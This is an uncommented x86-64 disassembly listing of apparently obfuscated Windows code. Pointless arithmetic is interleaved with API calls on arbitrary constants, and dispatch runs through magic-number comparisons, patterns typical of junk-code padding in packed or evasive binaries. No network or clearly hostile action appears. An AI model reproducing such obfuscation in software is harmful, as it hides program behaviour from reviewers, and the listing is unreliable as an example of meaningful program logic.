mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
jmp 0x14001e4b9
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x13020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d8], eax
lea rdx, [rsp + 0x13090]
lea rcx, [rsp + 0x41978]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0xa7e0], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
shl eax, cl
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov eax, dword [rsp + 0xa7dc]
mov ecx, dword [rsp + 0xa78c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov dword [rsp + 0xa81c], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
or eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x43e]
and eax, ecx
mov byte [rsp + 0x6b2], al
mov edx, 0xc8
mov rcx, qword [rsp + 0x13088]
call qword [sym.imp.USER32.dll_GetClassWord]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
and eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
jmp 0x14001e4b9
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov dword [rsp + 0xa81c], eax
mov rcx, qword [rsp + 0x130b0]
call qword [sym.imp.USER32.dll_GetTopWindow]
mov qword [rsp + 0x12f18], rax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa81c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x43d]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6b1], al
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
mov r9d, 0xe9
mov r8d, 0x70
mov edx, 0x77
mov rcx, qword [rsp + 0x13088]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x130b8], rax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f90]
mov qword [rsp + 0x130c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x130c0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
jmp 0x14001e4b9
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d4]
shl eax, cl
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
add eax, ecx
mov word [rsp + 0x197c], ax
mov edx, 0x70
mov rcx, qword [rsp + 0x12ed0]
call qword [sym.imp.USER32.dll_SetWindowContextHelpId]
mov dword [rsp + 0xa824], eax
jmp 0x14001e4b9
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x6b2]
and eax, ecx
mov byte [rsp + 0x43e], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa810]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov byte [rsp + 0x43d], al
movzx eax, word [rsp + 0x298c]
mov word [rsp + 0x299c], ax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xa808]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov r9d, 0x22
mov r8d, 0xf2
mov edx, 0xf1
mov rcx, qword [rsp + 0x13008]
call qword [sym.imp.USER32.dll_DefWindowProcW]
mov qword [rsp + 0x130c8], rax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa7d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa810], eax
jmp 0x14001e4b9
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa808]
shl eax, cl
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov r9d, 0xdc
mov r8, qword [rsp + 0x12ec8]
mov edx, 0xde
mov rcx, qword [rsp + 0x12f18]
call qword [sym.imp.USER32.dll_GetDlgItemTextW]
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f20]
mov qword [rsp + 0x130d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x130d0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
movzx eax, word [rsp + 0x299c]
mov dword [rsp + 0xa840], eax
cmp dword [rsp + 0xa840], 0x513
jg 0x14001e528
cmp dword [rsp + 0xa840], 0x513
je 0x14001eacc
cmp dword [rsp + 0xa840], 0
je 0x14001e560
cmp dword [rsp + 0xa840], 0xb6
je 0x14001f0bf
cmp dword [rsp + 0xa840], 0x205
je 0x14001ee76
cmp dword [rsp + 0xa840], 0x380
je 0x14001ec3d
jmp 0x14001f1f3
cmp dword [rsp + 0xa840], 0x5c9
je 0x14001ed80
cmp dword [rsp + 0xa840], 0x873
je 0x14001ea73
cmp dword [rsp + 0xa840], 0x9bc
je 0x14001efc0
jmp 0x14001f1f3
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov dword [rsp + 0xa844], eax
cmp dword [rsp + 0xa844], 0x3994f88e
jg 0x14001e5c4
cmp dword [rsp + 0xa844], 0x3994f88e
je 0x14001ea20
cmp dword [rsp + 0xa844], 0
je 0x14001e6b6
cmp dword [rsp + 0xa844], 0xcb39f37
je 0x14001ea41
cmp dword [rsp + 0xa844], 0xedbe33d
je 0x14001ea07
jmp 0x14001ea54
cmp dword [rsp + 0xa844], 0x4caa371a
je 0x14001e692
cmp dword [rsp + 0xa844], 0x52deac0f
je 0x14001e5e7
jmp 0x14001ea54
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xa804]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0xa774]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa810], eax
lea rdx, [rsp + 0xa820]
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.ole32.dll_GetClassFile]
mov dword [rsp + 0xa848], eax
movsx eax, word [rsp + 0x2990]
movsx ecx, word [rsp + 0x1784]
sub eax, ecx
mov word [rsp + 0x197c], ax
jmp 0x14001ea6e
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp 0x14001ea6e
movzx eax, byte [rsp + 0x6b0]
mov byte [rsp + 0xa84c], al
cmp byte [rsp + 0xa84c], 0x14
je 0x14001e884
cmp byte [rsp + 0xa84c], 0x38
je 0x14001e7b2
cmp byte [rsp + 0xa84c], 0x70
je 0x14001e8a8
cmp byte [rsp + 0xa84c], 0x72
je 0x14001e6fe
jmp 0x14001e8ca
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
lea rcx, [rsp + 0x299c]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0xa83c], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43d], al
jmp 0x14001ea05
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sar eax, cl
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa78c], eax
mov eax, dword [rsp + 0xa7b4]
mov rcx, qword [rsp + 0x12f20]
mov qword [rsp + 0x130d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x130d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa81c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa78c], eax
mov r9d, 0x90
lea r8, [rsp + 0x12f80]
xor edx, edx
mov rcx, qword [rsp + 0x12f30]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0xa80c], eax
jmp 0x14001ea05
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp 0x14001ea05
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
jmp 0x14001ea05
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov byte [0x14035e48e], al
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa81c]
mov edx, dword [rsp + 0x8604]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14001e999
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.LB3VwGCBVkG9tlqbmpsU4C1MTJ9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x130e0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
mov eax, dword [rsp + 0xa804]
mov dword [rsp + 0xa850], eax
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0xa850]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x197c]
mov qword [rsp + 0x130e8], rax
jmp 0x14001ea05
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13090]
mov edx, dword [rsp + 0x8604]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
je 0x14001e9e5
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
jmp 0x14001ea05
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x298c], ax
jmp 0x14001ea6e
mov edx, 0x5a
mov ecx, 0x55
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0xa848], eax
jmp 0x14001ea6e
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sar eax, cl
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
jmp 0x14001ea6e
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
jmp 0x14001ea6e
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa78c], eax
jmp 0x14001f318
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xa7b4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d4]
mov ecx, dword [rsp + 0xa804]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
jmp 0x14001f318
mov dword [rsp + 0x38], 0x8a
mov rax, qword [rsp + 0x130f0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8d
mov dword [rsp + 0x20], 0x63
lea r9, [rsp + 0x12ff8]
mov r8d, 0x73
mov edx, 0x85
lea rcx, [rsp + 0xa7f4]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0xa820], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x13020]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa810]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xa808], eax
lea rax, [rsp + 0x12ff8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x13040]
mov r8d, 0xc1
mov edx, 0x42
mov ecx, 0xaa
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0xa820], eax
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov byte [0x14035e48e], al
movsx eax, byte [rsp + 0x6b2]
movsx ecx, byte [rsp + 0x6b0]
or eax, ecx
mov byte [rsp + 0x43e], al
jmp 0x14001f318
movsx eax, word [rsp + 0x1784]
movsx ecx, word [rsp + 0x2990]
sar eax, cl
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xf8
mov r9d, 0xff
mov r8d, 0x31
mov rdx, qword [rsp + 0x12f68]
mov rcx, qword [rsp + 0x130a8]
call qword [sym.imp.USER32.dll_DlgDirListComboBoxW]
mov dword [rsp + 0xa854], eax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x43d], al
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov rax, qword [rsp + 0x13090]
mov ecx, dword [rsp + 0xa81c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa808]
mov ecx, dword [rsp + 0xa7dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
mov r8d, 0xc4
mov rdx, qword [rsp + 0x130f8]
mov rcx, qword [rsp + 0x12fe0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
or eax, ecx
mov byte [0x14035e48e], al
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0xa804]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001f318
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
call qword [sym.imp.USER32.dll_AnyPopup]
mov dword [rsp + 0xa784], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa850], eax
movsx eax, word [rsp + 0x2990]
movsx ecx, word [rsp + 0x1784]
sub eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
jmp 0x14001f318
mov rax, qword [rsp + 0x130e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
shl eax, cl
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x43d], al
mov r8d, 0xd7
mov rdx, qword [rsp + 0x12f08]
mov rcx, qword [rsp + 0x130b0]
call qword [sym.imp.USER32.dll_GetWindowModuleFileNameW]
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x299c]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13090]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa7d4], eax
lea rcx, [rsp + 0x130f0]
call qword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [rsp + 0xa858], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14035e48e], al
jmp 0x14001f318
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa7d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13020]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x43d], al
lea rdx, [rsp + 0x130f0]
mov ecx, 0x64
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [rsp + 0xa7e0], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
shl eax, cl
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6b2]
movsx ecx, byte [rsp + 0x6b0]
sar eax, cl
mov byte [rsp + 0x43e], al
jmp 0x14001f318
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x298c]
or eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov r8d, 1
mov rdx, qword [rsp + 0x12ff8]
mov rcx, qword [rsp + 0x12fe0]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0xa850], eax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7d8], eax
mov eax, dword [rsp + 0xa808]
mov ecx, dword [rsp + 0xa7d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0xa810]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d4], eax
lea rax, [rsp + 0x12f40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa83c]
mov r8d, 0x58
mov edx, 0x55
mov ecx, 0xbb
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0xa85c], eax
movzx eax, byte [0x14035e48e]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov byte [rsp + 0x43d], al
jmp 0x14001f318
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xa81c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa774]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x13100], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13100]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8604], eax
lea rcx, [rsp + 0x13050]
call qword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [rsp + 0xa7e0], eax
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x298c]
xor eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
or eax, ecx
mov word [rsp + 0x197c], ax
mov rax, qword [rsp + 0x130e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
and eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa78c]
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14035cbd8], eax
movzx eax, word [rsp + 0x298c]
mov dword [rsp + 0xa860], eax
cmp dword [rsp + 0xa860], 0
je 0x14001f382
